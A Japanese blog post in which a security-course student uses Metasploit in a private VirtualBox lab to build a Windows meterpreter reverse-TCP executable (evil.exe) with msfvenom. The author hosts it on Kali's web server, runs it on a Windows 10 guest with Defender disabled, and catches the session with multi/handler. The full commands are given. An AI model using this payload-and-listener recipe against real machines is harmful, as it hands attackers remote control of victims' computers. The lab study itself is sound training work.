Metasploitの使用

現在とあるセキュリティのコースを受講しています。講義ではネットワークに始まりバイナリ解析やPwn、webアプリケーションといった様々なことを学習しますが、復習をするとなると少し問題が生じます。というのも学習したことを使用して実際に他のサーバーに入ったりwebシステムを攻撃することは、言うまでもありませんが違法です。 


そのため「ハッキングラボのつくりかた」という本を用いてVirtualBoxによる仮想環境を構築してその中で攻撃をしたり、学んだことを復習したいと思います。噂に聞くMetasploitableの構築もやってみました。


とりあえず今回は実務で利用頻度が高そうなMetasploitを使用してみました。


仮想環境の構成としてはゲストOSとして攻撃する側のKali Linuxと攻撃される側のWindows10を用意しています。

  • Kali Linux : 10.0.0.2
  • windows10 : 10.0.0.101

 

kali Linux

まずKali側で下記を入力します。ちょっと時間がかかりますがmetasploitが起動します。 ペイロード(悪意のある実行コード)を作成します。 まずsearchで検索をします。 意味としては種別がペイロードTCP型のリバースシェル、ターゲットはwindowsです。

msfconsole
search type:payload reverse_tcp platform:windows

f:id:web_storm:20201110160819p:plain  


一覧が表示されますが、windows用のTCP型リバースシェルを選択し作成します。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.2 -f exe -o /home/kali/Desktop/evil.exe

f:id:web_storm:20201110161032p:plain

 
デスクトップに作成されました。 f:id:web_storm:20201110161101p:plain

 

作成されたevil.exeをブラウザからアクセスできる/var/www/html/shareに移動します。

mv evil.exe /var/www/html/share

f:id:web_storm:20201110161133p:plain

 

これで他のPCからブラウザでアクセスできます。 Kali側はwindows側で実行されるリバースシェルを待ち受けます。方法としてはハンドラーモジュールを使用します。 ここではwindowsTCP型リバースシェルを指定しkaliのIPを設定しshow optionで確認します。

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.0.2
show option

f:id:web_storm:20201110161216p:plain

 

ここでexploitを実行すると待ち受け状態になります。

exploit

f:id:web_storm:20201110161245p:plain


windows10

攻撃される側のwindows10では、Kali側で設置した悪意のある実行ファイルにブラウザをとおしてアクセスします。これをダウンロードして実行してしまったという想定です。 f:id:web_storm:20201110161443p:plain 


これをダウンロードして実行しますが、通常はwindows Defenderが効いているので今回は無効かしておきます。 このファイルを実行して、netstatで確認します。 ESTABLISHEDとなり接続されているのが確認できます。

  f:id:web_storm:20201110161532p:plain f:id:web_storm:20201110161545p:plain  


kali Linux

  Kali Linux側で確認します。 プロンプトがmeterpreterとなりwindows10とのセッションが確立されているのが確認できました。 f:id:web_storm:20201110161651p:plain